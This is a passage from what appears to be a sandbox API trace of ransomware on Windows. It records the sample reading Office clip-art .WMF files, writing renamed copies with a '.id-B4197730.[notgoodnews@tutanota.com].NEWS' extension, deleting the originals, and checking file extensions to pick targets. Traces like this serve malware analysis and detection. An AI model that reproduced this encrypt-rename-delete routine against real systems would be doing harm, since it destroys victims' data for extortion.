dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.634] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.634] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0082.634] GetLastError () returned 0x0 [0082.634] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1496, lpOverlapped=0x0) returned 1 [0083.211] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0083.212] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.212] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe6, lpOverlapped=0x0) returned 1 [0083.213] SetEndOfFile (hFile=0x37c) returned 1 [0083.213] CloseHandle (hObject=0x37c) returned 1 [0083.216] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.217] SetEndOfFile (hFile=0x348) returned 1 [0083.217] CloseHandle (hObject=0x348) returned 1 [0083.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0083.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.218] lstrlenW (lpString=".doc") returned 4 [0083.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.218] lstrlenW (lpString=".docx") returned 5 [0083.218] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0083.218] lstrlenW (lpString=".pdf") returned 4 [0083.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.218] lstrlenW (lpString=".xls") returned 4 [0083.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.218] lstrlenW (lpString=".xlsx") returned 5 [0083.218] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0083.218] lstrlenW (lpString=".ppt") returned 4 [0083.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.218] lstrlenW (lpString=".zip") returned 4 [0083.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.218] lstrlenW (lpString=".rar") returned 4 [0083.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.218] lstrlenW (lpString=".bz2") returned 4 [0083.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.218] lstrlenW (lpString=".7z") returned 3 [0083.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString=".dbf") returned 4 [0083.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString=".1cd") returned 4 [0083.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString=".jpg") returned 4 [0083.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString=".doc") returned 4 [0083.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString=".docx") returned 5 [0083.219] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0083.219] lstrlenW (lpString=".pdf") returned 4 [0083.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString=".xls") returned 4 [0083.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.219] lstrlenW (lpString=".xlsx") returned 5 [0083.219] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0083.219] lstrlenW (lpString=".ppt") returned 4 [0083.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString=".zip") returned 4 [0083.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.219] lstrlenW (lpString=".rar") returned 4 [0083.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString=".bz2") returned 4 [0083.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.219] lstrlenW (lpString=".7z") returned 3 [0083.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.219] lstrlenW (lpString=".dbf") returned 4 [0083.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.220] lstrlenW (lpString=".1cd") returned 4 [0083.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0083.220] lstrlenW (lpString=".jpg") returned 4 [0083.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.220] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.220] lstrlenW (lpString="DD00448_.WMF") returned 12 [0083.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.220] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2952) returned 1 [0083.220] CloseHandle (hObject=0x348) returned 1 [0083.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0083.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.221] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.221] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.221] GetLastError () returned 0x0 [0083.221] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xb88, lpOverlapped=0x0) returned 1 [0083.223] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xb90, lpOverlapped=0x0) returned 1 [0083.224] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.224] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.224] SetEndOfFile (hFile=0x37c) returned 1 [0083.224] CloseHandle (hObject=0x37c) returned 1 [0083.226] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.226] SetEndOfFile (hFile=0x348) returned 1 [0083.227] CloseHandle (hObject=0x348) returned 1 [0083.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0083.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.227] lstrlenW (lpString=".doc") returned 4 [0083.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.227] lstrlenW (lpString=".docx") returned 5 [0083.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.228] lstrlenW (lpString=".pdf") returned 4 [0083.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString=".xls") returned 4 [0083.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.228] lstrlenW (lpString=".xlsx") returned 5 [0083.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.228] lstrlenW (lpString=".ppt") returned 4 [0083.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.228] lstrlenW (lpString=".zip") returned 4 [0083.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.228] lstrlenW (lpString=".rar") returned 4 [0083.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString=".bz2") returned 4 [0083.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString=".7z") returned 3 [0083.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.228] lstrlenW (lpString=".dbf") returned 4 [0083.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.228] lstrlenW (lpString=".1cd") returned 4 [0083.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.228] lstrlenW (lpString=".jpg") returned 4 [0083.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.228] lstrlenW (lpString=".doc") returned 4 [0083.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.228] lstrlenW (lpString=".docx") returned 5 [0083.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.229] lstrlenW (lpString=".pdf") returned 4 [0083.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.229] lstrlenW (lpString=".xls") returned 4 [0083.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.229] lstrlenW (lpString=".xlsx") returned 5 [0083.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.229] lstrlenW (lpString=".ppt") returned 4 [0083.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.229] lstrlenW (lpString=".zip") returned 4 [0083.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.229] lstrlenW (lpString=".rar") returned 4 [0083.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.229] lstrlenW (lpString=".bz2") returned 4 [0083.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.229] lstrlenW (lpString=".7z") returned 3 [0083.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.229] lstrlenW (lpString=".dbf") returned 4 [0083.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.229] lstrlenW (lpString=".1cd") returned 4 [0083.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0083.229] lstrlenW (lpString=".jpg") returned 4 [0083.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.229] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.229] lstrlenW (lpString="DD00449_.WMF") returned 12 [0083.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.230] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=9992) returned 1 [0083.230] CloseHandle (hObject=0x348) returned 1 [0083.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0083.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.230] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.230] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0083.231] GetLastError () returned 0x0 [0083.231] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2708, lpOverlapped=0x0) returned 1 [0083.232] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2710, lpOverlapped=0x0) returned 1 [0083.233] ReadFile (in: hFile=0x348, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.233] WriteFile (in: hFile=0x37c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.234] SetEndOfFile (hFile=0x37c) returned 1 [0083.234] CloseHandle (hObject=0x37c) returned 1 [0083.234] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.234] SetEndOfFile (hFile=0x348) returned 1 [0083.235] CloseHandle (hObject=0x348) returned 1 [0083.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString=".doc") returned 4 [0083.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString=".docx") returned 5 [0083.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.236] lstrlenW (lpString=".pdf") returned 4 [0083.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString=".xls") returned 4 [0083.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.236] lstrlenW (lpString=".xlsx") returned 5 [0083.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.236] lstrlenW (lpString=".ppt") returned 4 [0083.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString=".zip") returned 4 [0083.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.236] lstrlenW (lpString=".rar") returned 4 [0083.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString=".bz2") returned 4 [0083.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString=".7z") returned 3 [0083.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString=".dbf") returned 4 [0083.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString=".1cd") returned 4 [0083.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString=".jpg") returned 4 [0083.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.237] lstrlenW (lpString=".doc") returned 4 [0083.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString=".docx") returned 5 [0083.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.237] lstrlenW (lpString=".pdf") returned 4 [0083.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString=".xls") returned 4 [0083.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.237] lstrlenW (lpString=".xlsx") returned 5 [0083.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.237] lstrlenW (lpString=".ppt") returned 4 [0083.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.237] lstrlenW (lpString=".zip") returned 4 [0083.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.237] lstrlenW (lpString=".rar") returned 4 [0083.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString=".bz2") returned 4 [0083.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString=".7z") returned 3 [0083.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.237] lstrlenW (lpString=".dbf") returned 4 [0083.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.237] lstrlenW (lpString=".1cd") returned 4 [0083.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0083.237] lstrlenW (lpString=".jpg") returned 4 [0083.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.237] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.237] lstrlenW (lpString="DD00687_.WMF") returned 12 [0083.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.238] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=20784) returned 1 [0083.238] CloseHandle (hObject=0x348) returned 1 [0083.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0083.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0083.238] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.238] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.238] CreateFileW 